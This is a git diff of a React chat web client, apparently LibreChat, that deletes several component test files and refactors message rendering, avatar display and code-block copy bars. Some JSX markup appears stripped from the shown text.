diff --git a/client/src/components/Chat/Messages/Content/__tests__/Image.test.tsx b/client/src/components/Chat/Messages/Content/__tests__/Image.test.tsx
deleted file mode 100644
index e7e0b99f1e..0000000000
--- a/client/src/components/Chat/Messages/Content/__tests__/Image.test.tsx
+++ /dev/null
@@ -1,179 +0,0 @@
-import React from 'react';
-import { render, screen, fireEvent } from '@testing-library/react';
-import Image, { _resetImageCaches } from '../Image';
-
-jest.mock('~/utils', () => ({
- cn: (...classes: (string | boolean | undefined | null)[]) =>
- classes
- .flat(Infinity)
- .filter((c): c is string => typeof c === 'string' && c.length > 0)
- .join(' '),
-}));
-
-jest.mock('librechat-data-provider', () => ({
- apiBaseUrl: () => '',
-}));
-
-jest.mock('@librechat/client', () => ({
- Skeleton: ({ className, ...props }: React.HTMLAttributes) => (
-
- ),
-}));
-
-jest.mock('../DialogImage', () => ({
- __esModule: true,
- default: ({ isOpen, src }: { isOpen: boolean; src: string }) =>
- isOpen ?
: null,
-}));
-
-describe('Image', () => {
- const defaultProps = {
- imagePath: '/images/test.png',
- altText: 'Test image',
- };
-
- beforeEach(() => {
- _resetImageCaches();
- jest.clearAllMocks();
- });
-
- describe('rendering without dimensions', () => {
- it('renders with max-h-[45vh] height constraint', () => {
- render( );
- const img = screen.getByRole('img');
- expect(img.className).toContain('max-h-[45vh]');
- });
-
- it('renders with max-w-full to prevent landscape clipping', () => {
- render( );
- const img = screen.getByRole('img');
- expect(img.className).toContain('max-w-full');
- });
-
- it('renders with w-auto and h-auto for natural aspect ratio', () => {
- render( );
- const img = screen.getByRole('img');
- expect(img.className).toContain('w-auto');
- expect(img.className).toContain('h-auto');
- });
-
- it('does not show skeleton without dimensions', () => {
- render( );
- expect(screen.queryByTestId('skeleton')).not.toBeInTheDocument();
- });
-
- it('does not apply heightStyle without dimensions', () => {
- render( );
- const button = screen.getByRole('button');
- expect(button.style.height).toBeFalsy();
- });
- });
-
- describe('rendering with dimensions', () => {
- it('shows skeleton behind image', () => {
- render( );
- expect(screen.getByTestId('skeleton')).toBeInTheDocument();
- });
-
- it('applies computed heightStyle to button', () => {
- render( );
- const button = screen.getByRole('button');
- expect(button.style.height).toBeTruthy();
- expect(button.style.height).toContain('min(45vh');
- });
-
- it('uses size-full object-contain on image when dimensions provided', () => {
- render( );
- const img = screen.getByRole('img');
- expect(img.className).toContain('size-full');
- expect(img.className).toContain('object-contain');
- });
-
- it('skeleton is absolute inset-0', () => {
- render( );
- const skeleton = screen.getByTestId('skeleton');
- expect(skeleton.className).toContain('absolute');
- expect(skeleton.className).toContain('inset-0');
- });
-
- it('marks URL as painted on load and skips skeleton on rerender', () => {
- const { rerender } = render( );
- const img = screen.getByRole('img');
-
- expect(screen.getByTestId('skeleton')).toBeInTheDocument();
-
- fireEvent.load(img);
-
- // Rerender same component — skeleton should not show (URL painted)
- rerender( );
- expect(screen.queryByTestId('skeleton')).not.toBeInTheDocument();
- });
- });
-
- describe('common behavior', () => {
- it('applies custom className to the button wrapper', () => {
- render( );
- const button = screen.getByRole('button');
- expect(button.className).toContain('mb-4');
- });
-
- it('sets correct alt text', () => {
- render( );
- const img = screen.getByRole('img');
- expect(img).toHaveAttribute('alt', 'Test image');
- });
-
- it('has correct accessibility attributes on button', () => {
- render( );
- const button = screen.getByRole('button');
- expect(button).toHaveAttribute('aria-label', 'View Test image in dialog');
- expect(button).toHaveAttribute('aria-haspopup', 'dialog');
- });
- });
-
- describe('dialog interaction', () => {
- it('opens dialog on button click', () => {
- render( );
- expect(screen.queryByTestId('dialog-image')).not.toBeInTheDocument();
-
- const button = screen.getByRole('button');
- fireEvent.click(button);
-
- expect(screen.getByTestId('dialog-image')).toBeInTheDocument();
- });
-
- it('dialog is always mounted (not gated by load state)', () => {
- render( );
- // DialogImage mock returns null when isOpen=false, but the component is in the tree
- // Clicking should immediately show it
- fireEvent.click(screen.getByRole('button'));
- expect(screen.getByTestId('dialog-image')).toBeInTheDocument();
- });
- });
-
- describe('image URL resolution', () => {
- it('passes /images/ paths through with base URL', () => {
- render( );
- const img = screen.getByRole('img');
- expect(img).toHaveAttribute('src', '/images/test.png');
- });
-
- it('passes absolute http URLs through unchanged', () => {
- render( );
- const img = screen.getByRole('img');
- expect(img).toHaveAttribute('src', 'https://example.com/photo.jpg');
- });
-
- it('passes data URIs through unchanged', () => {
- render( );
- const img = screen.getByRole('img');
- expect(img).toHaveAttribute('src', 'data:image/png;base64,abc');
- });
-
- it('passes non-/images/ paths through unchanged', () => {
- render( );
- const img = screen.getByRole('img');
- expect(img).toHaveAttribute('src', '/other/path.png');
- });
- });
-});
diff --git a/client/src/components/Chat/Messages/Content/__tests__/OpenAIImageGen.test.tsx b/client/src/components/Chat/Messages/Content/__tests__/OpenAIImageGen.test.tsx
deleted file mode 100644
index ef8ac2807a..0000000000
--- a/client/src/components/Chat/Messages/Content/__tests__/OpenAIImageGen.test.tsx
+++ /dev/null
@@ -1,182 +0,0 @@
-import React from 'react';
-import { render, screen } from '@testing-library/react';
-import OpenAIImageGen from '../Parts/OpenAIImageGen/OpenAIImageGen';
-
-jest.mock('~/utils', () => ({
- cn: (...classes: (string | boolean | undefined | null)[]) =>
- classes
- .flat(Infinity)
- .filter((c): c is string => typeof c === 'string' && c.length > 0)
- .join(' '),
-}));
-
-jest.mock('~/hooks', () => ({
- useLocalize: () => (key: string) => key,
-}));
-
-jest.mock('~/components/Chat/Messages/Content/Image', () => ({
- __esModule: true,
- default: ({
- altText,
- imagePath,
- className,
- }: {
- altText: string;
- imagePath: string;
- className?: string;
- }) => (
-
- ),
-}));
-
-jest.mock('@librechat/client', () => ({
- PixelCard: ({ progress }: { progress: number }) => (
-
- ),
-}));
-
-jest.mock('../Parts/OpenAIImageGen/ProgressText', () => ({
- __esModule: true,
- default: ({ progress, error }: { progress: number; error: boolean }) => (
-
- ),
-}));
-
-describe('OpenAIImageGen', () => {
- const defaultProps = {
- initialProgress: 0.1,
- isSubmitting: true,
- toolName: 'image_gen_oai',
- args: '{"prompt":"a cat","quality":"high","size":"1024x1024"}',
- output: null as string | null,
- attachments: undefined,
- };
-
- beforeEach(() => {
- jest.clearAllMocks();
- jest.useFakeTimers();
- });
-
- afterEach(() => {
- jest.useRealTimers();
- });
-
- describe('image preloading', () => {
- it('keeps Image mounted during generation (progress < 1)', () => {
- render( );
- expect(screen.getByTestId('image-component')).toBeInTheDocument();
- });
-
- it('hides Image with invisible absolute while progress < 1', () => {
- render( );
- const image = screen.getByTestId('image-component');
- expect(image.className).toContain('invisible');
- expect(image.className).toContain('absolute');
- });
-
- it('shows Image without hiding classes when progress >= 1', () => {
- render(
- ,
- );
- const image = screen.getByTestId('image-component');
- expect(image.className).not.toContain('invisible');
- expect(image.className).not.toContain('absolute');
- });
- });
-
- describe('PixelCard visibility', () => {
- it('shows PixelCard when progress < 1', () => {
- render( );
- expect(screen.getByTestId('pixel-card')).toBeInTheDocument();
- });
-
- it('hides PixelCard when progress >= 1', () => {
- render( );
- expect(screen.queryByTestId('pixel-card')).not.toBeInTheDocument();
- });
- });
-
- describe('layout classes', () => {
- it('applies max-h-[45vh] to the outer container', () => {
- const { container } = render( );
- const outerDiv = container.querySelector('[class*="max-h-"]');
- expect(outerDiv?.className).toContain('max-h-[45vh]');
- });
-
- it('applies h-[45vh] w-full to inner container during loading', () => {
- const { container } = render( );
- const innerDiv = container.querySelector('[class*="h-[45vh]"]');
- expect(innerDiv).not.toBeNull();
- expect(innerDiv?.className).toContain('w-full');
- });
-
- it('applies w-auto to inner container when complete', () => {
- const { container } = render(
- ,
- );
- const overflowDiv = container.querySelector('[class*="overflow-hidden"]');
- expect(overflowDiv?.className).toContain('w-auto');
- });
- });
-
- describe('args parsing', () => {
- it('parses quality from args', () => {
- render( );
- expect(screen.getByTestId('progress-text')).toBeInTheDocument();
- });
-
- it('handles invalid JSON args gracefully', () => {
- const consoleSpy = jest.spyOn(console, 'error').mockImplementation();
- render( );
- expect(screen.getByTestId('image-component')).toBeInTheDocument();
- consoleSpy.mockRestore();
- });
-
- it('handles object args', () => {
- render(
- ,
- );
- expect(screen.getByTestId('image-component')).toBeInTheDocument();
- });
- });
-
- describe('cancellation', () => {
- it('shows error state when output contains error', () => {
- render(
- ,
- );
- const progressText = screen.getByTestId('progress-text');
- expect(progressText).toHaveAttribute('data-error', 'true');
- });
-
- it('shows cancelled state when not submitting and incomplete', () => {
- render( );
- const progressText = screen.getByTestId('progress-text');
- expect(progressText).toHaveAttribute('data-error', 'true');
- });
- });
-});
diff --git a/client/src/components/Chat/Messages/HoverButtons.tsx b/client/src/components/Chat/Messages/HoverButtons.tsx
index 180e8b599e..5d60223d08 100644
--- a/client/src/components/Chat/Messages/HoverButtons.tsx
+++ b/client/src/components/Chat/Messages/HoverButtons.tsx
@@ -18,7 +18,7 @@ type THoverButtons = {
message: TMessage;
regenerate: () => void;
handleContinue: (e: React.MouseEvent) => void;
- latestMessageId?: string;
+ latestMessage: TMessage | null;
isLast: boolean;
index: number;
handleFeedback?: ({ feedback }: { feedback: TFeedback | undefined }) => void;
@@ -119,7 +119,7 @@ const HoverButtons = ({
message,
regenerate,
handleContinue,
- latestMessageId,
+ latestMessage,
isLast,
handleFeedback,
}: THoverButtons) => {
@@ -143,7 +143,7 @@ const HoverButtons = ({
searchResult: message.searchResult,
finish_reason: message.finish_reason,
isCreatedByUser: message.isCreatedByUser,
- latestMessageId: latestMessageId,
+ latestMessageId: latestMessage?.messageId,
});
const {
@@ -239,7 +239,7 @@ const HoverButtons = ({
messageId={message.messageId}
conversationId={conversation.conversationId}
forkingSupported={forkingSupported}
- latestMessageId={latestMessageId}
+ latestMessageId={latestMessage?.messageId}
isLast={isLast}
/>
diff --git a/client/src/components/Chat/Messages/Message.tsx b/client/src/components/Chat/Messages/Message.tsx
index f9db38fdab..78e08e3631 100644
--- a/client/src/components/Chat/Messages/Message.tsx
+++ b/client/src/components/Chat/Messages/Message.tsx
@@ -4,23 +4,25 @@ import type { TMessageProps } from '~/common';
import MessageRender from './ui/MessageRender';
import MultiMessage from './MultiMessage';
-const MessageContainer = React.memo(function MessageContainer({
- handleScroll,
- children,
-}: {
- handleScroll: (event?: unknown) => void;
- children: React.ReactNode;
-}) {
- return (
-
- {children}
-
- );
-});
+const MessageContainer = React.memo(
+ ({
+ handleScroll,
+ children,
+ }: {
+ handleScroll: (event?: unknown) => void;
+ children: React.ReactNode;
+ }) => {
+ return (
+
+ {children}
+
+ );
+ },
+);
export default function Message(props: TMessageProps) {
const { conversation, handleScroll } = useMessageProcess({
diff --git a/client/src/components/Chat/Messages/MessageParts.tsx b/client/src/components/Chat/Messages/MessageParts.tsx
index 3d13fa6ae0..0005ee0499 100644
--- a/client/src/components/Chat/Messages/MessageParts.tsx
+++ b/client/src/components/Chat/Messages/MessageParts.tsx
@@ -4,7 +4,6 @@ import { useRecoilValue } from 'recoil';
import type { TMessageContentParts } from 'librechat-data-provider';
import type { TMessageProps, TMessageIcon } from '~/common';
import { useMessageHelpers, useLocalize, useAttachments, useContentMetadata } from '~/hooks';
-import { cn, getHeaderPrefixForScreenReader, getMessageAriaLabel } from '~/utils';
import MessageIcon from '~/components/Chat/Messages/MessageIcon';
import ContentParts from './Content/ContentParts';
import { fontSizeAtom } from '~/store/fontSize';
@@ -12,6 +11,7 @@ import SiblingSwitch from './SiblingSwitch';
import MultiMessage from './MultiMessage';
import HoverButtons from './HoverButtons';
import SubRow from './SubRow';
+import { cn, getMessageAriaLabel } from '~/utils';
import store from '~/store';
export default function Message(props: TMessageProps) {
@@ -32,7 +32,7 @@ export default function Message(props: TMessageProps) {
handleScroll,
conversation,
isSubmitting,
- latestMessageId,
+ latestMessage,
handleContinue,
copyToClipboard,
regenerateMessage,
@@ -125,14 +125,11 @@ export default function Message(props: TMessageProps) {
>
{!hasParallelContent && (
-
- {getHeaderPrefixForScreenReader(message, localize)}
-
{name}
)}
-
+
}
/>
{isLast && isSubmitting ? (
-
+
) : (
regenerateMessage()}
copyToClipboard={copyToClipboard}
handleContinue={handleContinue}
- latestMessageId={latestMessageId}
+ latestMessage={latestMessage}
isLast={isLast}
/>
diff --git a/client/src/components/Chat/Messages/ui/MessageRender.tsx b/client/src/components/Chat/Messages/ui/MessageRender.tsx
index 93586f0d2f..0d40b4a98f 100644
--- a/client/src/components/Chat/Messages/ui/MessageRender.tsx
+++ b/client/src/components/Chat/Messages/ui/MessageRender.tsx
@@ -1,16 +1,16 @@
import React, { useCallback, useMemo, memo } from 'react';
import { useAtomValue } from 'jotai';
import { useRecoilValue } from 'recoil';
-import type { TMessage } from 'librechat-data-provider';
+import { type TMessage } from 'librechat-data-provider';
import type { TMessageProps, TMessageIcon } from '~/common';
-import { cn, getHeaderPrefixForScreenReader, getMessageAriaLabel } from '~/utils';
import MessageContent from '~/components/Chat/Messages/Content/MessageContent';
-import { useLocalize, useMessageActions, useContentMetadata } from '~/hooks';
import PlaceholderRow from '~/components/Chat/Messages/ui/PlaceholderRow';
import SiblingSwitch from '~/components/Chat/Messages/SiblingSwitch';
import HoverButtons from '~/components/Chat/Messages/HoverButtons';
import MessageIcon from '~/components/Chat/Messages/MessageIcon';
+import { useLocalize, useMessageActions, useContentMetadata } from '~/hooks';
import SubRow from '~/components/Chat/Messages/SubRow';
+import { cn, getMessageAriaLabel } from '~/utils';
import { fontSizeAtom } from '~/store/fontSize';
import { MessageContext } from '~/Providers';
import store from '~/store';
@@ -23,186 +23,180 @@ type MessageRenderProps = {
'currentEditId' | 'setCurrentEditId' | 'siblingIdx' | 'setSiblingIdx' | 'siblingCount'
>;
-const MessageRender = memo(function MessageRender({
- message: msg,
- siblingIdx,
- siblingCount,
- setSiblingIdx,
- currentEditId,
- setCurrentEditId,
- isSubmitting = false,
-}: MessageRenderProps) {
- const localize = useLocalize();
- const {
- ask,
- edit,
- index,
- agent,
- assistant,
- enterEdit,
- conversation,
- messageLabel,
- handleFeedback,
- handleContinue,
- latestMessageId,
- copyToClipboard,
- regenerateMessage,
- latestMessageDepth,
- } = useMessageActions({
+const MessageRender = memo(
+ ({
message: msg,
+ siblingIdx,
+ siblingCount,
+ setSiblingIdx,
currentEditId,
setCurrentEditId,
- });
- const fontSize = useAtomValue(fontSizeAtom);
- const maximizeChatSpace = useRecoilValue(store.maximizeChatSpace);
-
- const handleRegenerateMessage = useCallback(() => regenerateMessage(), [regenerateMessage]);
- const hasNoChildren = !(msg?.children?.length ?? 0);
- const isLast = useMemo(
- () => hasNoChildren && (msg?.depth === latestMessageDepth || msg?.depth === -1),
- [hasNoChildren, msg?.depth, latestMessageDepth],
- );
- const isLatestMessage = msg?.messageId === latestMessageId;
- /** Only pass isSubmitting to the latest message to prevent unnecessary re-renders */
- const effectiveIsSubmitting = isLatestMessage ? isSubmitting : false;
-
- const iconData: TMessageIcon = useMemo(
- () => ({
- endpoint: msg?.endpoint ?? conversation?.endpoint,
- model: msg?.model ?? conversation?.model,
- iconURL: msg?.iconURL,
- modelLabel: messageLabel,
- isCreatedByUser: msg?.isCreatedByUser,
- }),
- [
+ isSubmitting = false,
+ }: MessageRenderProps) => {
+ const localize = useLocalize();
+ const {
+ ask,
+ edit,
+ index,
+ agent,
+ assistant,
+ enterEdit,
+ conversation,
messageLabel,
- conversation?.endpoint,
- conversation?.model,
- msg?.model,
- msg?.iconURL,
- msg?.endpoint,
- msg?.isCreatedByUser,
- ],
- );
+ latestMessage,
+ handleFeedback,
+ handleContinue,
+ copyToClipboard,
+ regenerateMessage,
+ } = useMessageActions({
+ message: msg,
+ currentEditId,
+ setCurrentEditId,
+ });
+ const fontSize = useAtomValue(fontSizeAtom);
+ const maximizeChatSpace = useRecoilValue(store.maximizeChatSpace);
- const { hasParallelContent } = useContentMetadata(msg);
- const messageId = msg?.messageId ?? '';
- const messageContextValue = useMemo(
- () => ({
- messageId,
- isLatestMessage,
- isExpanded: false as const,
- isSubmitting: effectiveIsSubmitting,
- conversationId: conversation?.conversationId,
- }),
- [messageId, conversation?.conversationId, effectiveIsSubmitting, isLatestMessage],
- );
+ const handleRegenerateMessage = useCallback(() => regenerateMessage(), [regenerateMessage]);
+ const hasNoChildren = !(msg?.children?.length ?? 0);
+ const isLast = useMemo(
+ () => hasNoChildren && (msg?.depth === latestMessage?.depth || msg?.depth === -1),
+ [hasNoChildren, msg?.depth, latestMessage?.depth],
+ );
+ const isLatestMessage = msg?.messageId === latestMessage?.messageId;
+ /** Only pass isSubmitting to the latest message to prevent unnecessary re-renders */
+ const effectiveIsSubmitting = isLatestMessage ? isSubmitting : false;
- if (!msg) {
- return null;
- }
+ const iconData: TMessageIcon = useMemo(
+ () => ({
+ endpoint: msg?.endpoint ?? conversation?.endpoint,
+ model: msg?.model ?? conversation?.model,
+ iconURL: msg?.iconURL,
+ modelLabel: messageLabel,
+ isCreatedByUser: msg?.isCreatedByUser,
+ }),
+ [
+ messageLabel,
+ conversation?.endpoint,
+ conversation?.model,
+ msg?.model,
+ msg?.iconURL,
+ msg?.endpoint,
+ msg?.isCreatedByUser,
+ ],
+ );
- const getChatWidthClass = () => {
- if (maximizeChatSpace) {
- return 'w-full max-w-full md:px-5 lg:px-1 xl:px-5';
+ const { hasParallelContent } = useContentMetadata(msg);
+
+ if (!msg) {
+ return null;
}
- if (hasParallelContent) {
- return 'md:max-w-[58rem] xl:max-w-[70rem]';
- }
- return 'md:max-w-[47rem] xl:max-w-[55rem]';
- };
- const baseClasses = {
- common: 'group mx-auto flex flex-1 gap-3 transition-all duration-300 transform-gpu ',
- chat: getChatWidthClass(),
- };
+ const getChatWidthClass = () => {
+ if (maximizeChatSpace) {
+ return 'w-full max-w-full md:px-5 lg:px-1 xl:px-5';
+ }
+ if (hasParallelContent) {
+ return 'md:max-w-[58rem] xl:max-w-[70rem]';
+ }
+ return 'md:max-w-[47rem] xl:max-w-[55rem]';
+ };
- const conditionalClasses = {
- focus: 'focus:outline-none focus:ring-2 focus:ring-border-xheavy',
- };
+ const baseClasses = {
+ common: 'group mx-auto flex flex-1 gap-3 transition-all duration-300 transform-gpu ',
+ chat: getChatWidthClass(),
+ };
- return (
-
- {!hasParallelContent && (
-
- )}
+ const conditionalClasses = {
+ focus: 'focus:outline-none focus:ring-2 focus:ring-border-xheavy',
+ };
+ return (
{!hasParallelContent && (
-
- {getHeaderPrefixForScreenReader(msg, localize)}
- {messageLabel}
-
+
)}
-
-
-
- ({}))}
- />
-
-
- {hasNoChildren && effectiveIsSubmitting ? (
-
- ) : (
-
-
-
-
+
+ {!hasParallelContent && (
+
{messageLabel}
+ )}
+
+
+
+
+ ({}))}
+ />
+
+
+ {hasNoChildren && effectiveIsSubmitting ? (
+
+ ) : (
+
+
+
+
+ )}
+
-
- );
-});
-MessageRender.displayName = 'MessageRender';
+ );
+ },
+);
export default MessageRender;
diff --git a/client/src/components/Chat/Messages/ui/PlaceholderRow.tsx b/client/src/components/Chat/Messages/ui/PlaceholderRow.tsx
index e60dc28278..d67424a46f 100644
--- a/client/src/components/Chat/Messages/ui/PlaceholderRow.tsx
+++ b/client/src/components/Chat/Messages/ui/PlaceholderRow.tsx
@@ -1,9 +1,7 @@
import { memo } from 'react';
-/** Height matches the SubRow action buttons row (31px) — keep in sync with HoverButtons */
-const PlaceholderRow = memo(function PlaceholderRow() {
- return
;
+const PlaceholderRow = memo(() => {
+ return
;
});
-PlaceholderRow.displayName = 'PlaceholderRow';
export default PlaceholderRow;
diff --git a/client/src/components/Chat/TemporaryChat.tsx b/client/src/components/Chat/TemporaryChat.tsx
index a4d72d081e..d09cc73289 100644
--- a/client/src/components/Chat/TemporaryChat.tsx
+++ b/client/src/components/Chat/TemporaryChat.tsx
@@ -1,8 +1,8 @@
import React from 'react';
-import { useRecoilValue } from 'recoil';
import { TooltipAnchor } from '@librechat/client';
import { MessageCircleDashed } from 'lucide-react';
import { useRecoilState, useRecoilCallback } from 'recoil';
+import { useChatContext } from '~/Providers';
import { useLocalize } from '~/hooks';
import { cn } from '~/utils';
import store from '~/store';
@@ -10,8 +10,13 @@ import store from '~/store';
export function TemporaryChat() {
const localize = useLocalize();
const [isTemporary, setIsTemporary] = useRecoilState(store.isTemporary);
- const conversation = useRecoilValue(store.conversationByIndex(0));
- const isSubmitting = useRecoilValue(store.isSubmittingFamily(0));
+ const { conversation, isSubmitting } = useChatContext();
+
+ const temporaryBadge = {
+ id: 'temporary',
+ atom: store.isTemporary,
+ isAvailable: true,
+ };
const handleBadgeToggle = useRecoilCallback(
() => () => {
diff --git a/client/src/components/Conversations/Conversations.tsx b/client/src/components/Conversations/Conversations.tsx
index f55af35f10..fc66c0977a 100644
--- a/client/src/components/Conversations/Conversations.tsx
+++ b/client/src/components/Conversations/Conversations.tsx
@@ -99,9 +99,6 @@ const DateLabel: FC<{ groupName: string; isFirst?: boolean }> = memo(({ groupNam
const localize = useLocalize();
return (
@@ -387,7 +384,6 @@ const Conversations: FC = ({
onRowsRendered={handleRowsRendered}
tabIndex={-1}
style={{ outline: 'none', scrollbarGutter: 'stable' }}
- containerRole="rowgroup"
/>
)}
@@ -397,5 +393,4 @@ const Conversations: FC = ({
);
};
-export { DateLabel };
export default memo(Conversations);
diff --git a/client/src/components/Conversations/__tests__/DateLabel.test.tsx b/client/src/components/Conversations/__tests__/DateLabel.test.tsx
deleted file mode 100644
index ccd9bc4126..0000000000
--- a/client/src/components/Conversations/__tests__/DateLabel.test.tsx
+++ /dev/null
@@ -1,55 +0,0 @@
-import React from 'react';
-import { render, screen } from '@testing-library/react';
-import '@testing-library/jest-dom/extend-expect';
-import { DateLabel } from '../Conversations';
-
-jest.mock('~/hooks', () => ({
- useLocalize: () => (key: string, params?: Record) => {
- const translations: Record = {
- com_a11y_chats_date_section: `Chats from ${params?.date ?? ''}`,
- com_ui_date_today: 'Today',
- com_ui_date_yesterday: 'Yesterday',
- com_ui_date_previous_7_days: 'Previous 7 days',
- };
- return translations[key] ?? key;
- },
-}));
-
-describe('DateLabel', () => {
- it('provides accessible heading name via aria-label', () => {
- render( );
- expect(screen.getByRole('heading', { level: 2, name: 'Chats from Today' })).toBeInTheDocument();
- });
-
- it('renders visible text as the localized group name', () => {
- render( );
- expect(screen.getByText('Today')).toBeInTheDocument();
- });
-
- it('sets aria-label with the full accessible phrase', () => {
- const { container } = render( );
- const heading = container.querySelector('h2');
- expect(heading).toHaveAttribute('aria-label', 'Chats from Yesterday');
- });
-
- it('uses raw groupName for unrecognized translation keys', () => {
- render( );
- expect(
- screen.getByRole('heading', { level: 2, name: 'Chats from Unknown Group' }),
- ).toBeInTheDocument();
- });
-
- it('applies mt-0 for the first date header', () => {
- const { container } = render( );
- const heading = container.querySelector('h2');
- expect(heading).toHaveClass('mt-0');
- expect(heading).not.toHaveClass('mt-2');
- });
-
- it('applies mt-2 for non-first date headers', () => {
- const { container } = render( );
- const heading = container.querySelector('h2');
- expect(heading).toHaveClass('mt-2');
- expect(heading).not.toHaveClass('mt-0');
- });
-});
diff --git a/client/src/components/Endpoints/Icon.tsx b/client/src/components/Endpoints/Icon.tsx
index fae0f286d3..3256145bfb 100644
--- a/client/src/components/Endpoints/Icon.tsx
+++ b/client/src/components/Endpoints/Icon.tsx
@@ -1,102 +1,64 @@
-import React, { memo } from 'react';
+import React, { memo, useState } from 'react';
import { UserIcon, useAvatar } from '@librechat/client';
+import type { TUser } from 'librechat-data-provider';
import type { IconProps } from '~/common';
import MessageEndpointIcon from './MessageEndpointIcon';
import { useAuthContext } from '~/hooks/AuthContext';
import { useLocalize } from '~/hooks';
import { cn } from '~/utils';
-type ResolvedAvatar = { type: 'image'; src: string } | { type: 'fallback' };
-
-/**
- * Caches the resolved avatar decision per user ID.
- * Invalidated when `user.avatar` changes (e.g., settings upload).
- * Tracks failed image URLs so they fall back to SVG permanently for the session.
- */
-const avatarCache = new Map<
- string,
- { avatar: string; avatarSrc: string; resolved: ResolvedAvatar }
->();
-const failedUrls = new Set();
-
-function resolveAvatar(userId: string, userAvatar: string, avatarSrc: string): ResolvedAvatar {
- if (!userId) {
- const imgSrc = userAvatar || avatarSrc;
- return imgSrc && !failedUrls.has(imgSrc)
- ? { type: 'image', src: imgSrc }
- : { type: 'fallback' };
- }
-
- const cached = avatarCache.get(userId);
- if (cached && cached.avatar === userAvatar && cached.avatarSrc === avatarSrc) {
- return cached.resolved;
- }
-
- const imgSrc = userAvatar || avatarSrc;
- const resolved: ResolvedAvatar =
- imgSrc && !failedUrls.has(imgSrc) ? { type: 'image', src: imgSrc } : { type: 'fallback' };
-
- avatarCache.set(userId, { avatar: userAvatar, avatarSrc, resolved });
- return resolved;
-}
-
-function markAvatarFailed(userId: string, src: string): ResolvedAvatar {
- failedUrls.add(src);
- const fallback: ResolvedAvatar = { type: 'fallback' };
- const cached = avatarCache.get(userId);
- if (cached) {
- avatarCache.set(userId, { ...cached, resolved: fallback });
- }
- return fallback;
-}
-
type UserAvatarProps = {
size: number;
- avatar: string;
+ user?: TUser;
avatarSrc: string;
- userId: string;
username: string;
className?: string;
};
-const UserAvatar = memo(
- ({ size, avatar, avatarSrc, userId, username, className }: UserAvatarProps) => {
- const [resolved, setResolved] = React.useState(() => resolveAvatar(userId, avatar, avatarSrc));
+const UserAvatar = memo(({ size, user, avatarSrc, username, className }: UserAvatarProps) => {
+ const [imageError, setImageError] = useState(false);
- React.useEffect(() => {
- setResolved(resolveAvatar(userId, avatar, avatarSrc));
- }, [userId, avatar, avatarSrc]);
+ const handleImageError = () => {
+ setImageError(true);
+ };
- return (
-
- {resolved.type === 'image' ? (
-
setResolved(markAvatarFailed(userId, resolved.src))}
- />
- ) : (
-
-
-
- )}
-
- );
- },
-);
+ const renderDefaultAvatar = () => (
+
+
+
+ );
+
+ return (
+
+ {(!(user?.avatar ?? '') && (!(user?.username ?? '') || user?.username.trim() === '')) ||
+ imageError ? (
+ renderDefaultAvatar()
+ ) : (
+
+ )}
+
+ );
+});
UserAvatar.displayName = 'UserAvatar';
@@ -112,10 +74,9 @@ const Icon: React.FC = memo((props) => {
return (
);
diff --git a/client/src/components/MCP/MCPServerMenuItem.tsx b/client/src/components/MCP/MCPServerMenuItem.tsx
index 7fcb773bb9..2291a5233e 100644
--- a/client/src/components/MCP/MCPServerMenuItem.tsx
+++ b/client/src/components/MCP/MCPServerMenuItem.tsx
@@ -46,6 +46,7 @@ export default function MCPServerMenuItem({
name="mcp-servers"
value={server.serverName}
checked={isSelected}
+ setValueOnChange={false}
onChange={() => onToggle(server.serverName)}
aria-label={accessibleLabel}
className={cn(
diff --git a/client/src/components/Messages/Content/CodeBlock.tsx b/client/src/components/Messages/Content/CodeBlock.tsx
index 7407098c5e..eae84e49a9 100644
--- a/client/src/components/Messages/Content/CodeBlock.tsx
+++ b/client/src/components/Messages/Content/CodeBlock.tsx
@@ -23,138 +23,125 @@ interface FloatingCodeBarProps extends CodeBarProps {
isVisible: boolean;
}
-const CodeBar: React.FC = React.memo(function CodeBar({
- lang,
- error,
- codeRef,
- blockIndex,
- plugin = null,
- allowExecution = true,
-}) {
- const localize = useLocalize();
- const [isCopied, setIsCopied] = useState(false);
- return (
-
-
{lang}
- {plugin === true ? (
-
- ) : (
-
- {allowExecution === true && (
-
- )}
-
= React.memo(
+ ({ lang, error, codeRef, blockIndex, plugin = null, allowExecution = true }) => {
+ const localize = useLocalize();
+ const [isCopied, setIsCopied] = useState(false);
+ return (
+
+
{lang}
+ {plugin === true ? (
+
+ ) : (
+
+ {allowExecution === true && (
+
)}
- onClick={async () => {
- const codeString = codeRef.current?.textContent;
- if (codeString != null) {
- setIsCopied(true);
- copy(codeString.trim(), { format: 'text/plain' });
+ {
+ const codeString = codeRef.current?.textContent;
+ if (codeString != null) {
+ setIsCopied(true);
+ copy(codeString.trim(), { format: 'text/plain' });
- setTimeout(() => {
- setIsCopied(false);
- }, 3000);
- }
- }}
- >
- {isCopied ? : }
- {error !== true && (
-
- {localize('com_ui_copy_code')}
-
- {isCopied ? localize('com_ui_copied') : localize('com_ui_copy_code')}
+ setTimeout(() => {
+ setIsCopied(false);
+ }, 3000);
+ }
+ }}
+ >
+ {isCopied ? : }
+ {error !== true && (
+
+ {localize('com_ui_copy_code')}
+
+ {isCopied ? localize('com_ui_copied') : localize('com_ui_copy_code')}
+
-
- )}
-
-
- )}
-
- );
-});
-CodeBar.displayName = 'CodeBar';
+ )}
+
+
+ )}
+
+ );
+ },
+);
-const FloatingCodeBar: React.FC = React.memo(function FloatingCodeBar({
- lang,
- error,
- codeRef,
- blockIndex,
- plugin = null,
- allowExecution = true,
- isVisible,
-}) {
- const localize = useLocalize();
- const [isCopied, setIsCopied] = useState(false);
- const copyButtonRef = useRef(null);
+const FloatingCodeBar: React.FC = React.memo(
+ ({ lang, error, codeRef, blockIndex, plugin = null, allowExecution = true, isVisible }) => {
+ const localize = useLocalize();
+ const [isCopied, setIsCopied] = useState(false);
+ const copyButtonRef = useRef(null);
- const handleCopy = useCallback(() => {
- const codeString = codeRef.current?.textContent;
- if (codeString != null) {
- const wasFocused = document.activeElement === copyButtonRef.current;
- setIsCopied(true);
- copy(codeString.trim(), { format: 'text/plain' });
- if (wasFocused) {
- requestAnimationFrame(() => {
- copyButtonRef.current?.focus();
- });
+ const handleCopy = useCallback(() => {
+ const codeString = codeRef.current?.textContent;
+ if (codeString != null) {
+ const wasFocused = document.activeElement === copyButtonRef.current;
+ setIsCopied(true);
+ copy(codeString.trim(), { format: 'text/plain' });
+ if (wasFocused) {
+ requestAnimationFrame(() => {
+ copyButtonRef.current?.focus();
+ });
+ }
+
+ setTimeout(() => {
+ const focusedElement = document.activeElement as HTMLElement | null;
+ setIsCopied(false);
+ requestAnimationFrame(() => {
+ focusedElement?.focus();
+ });
+ }, 3000);
}
+ }, [codeRef]);
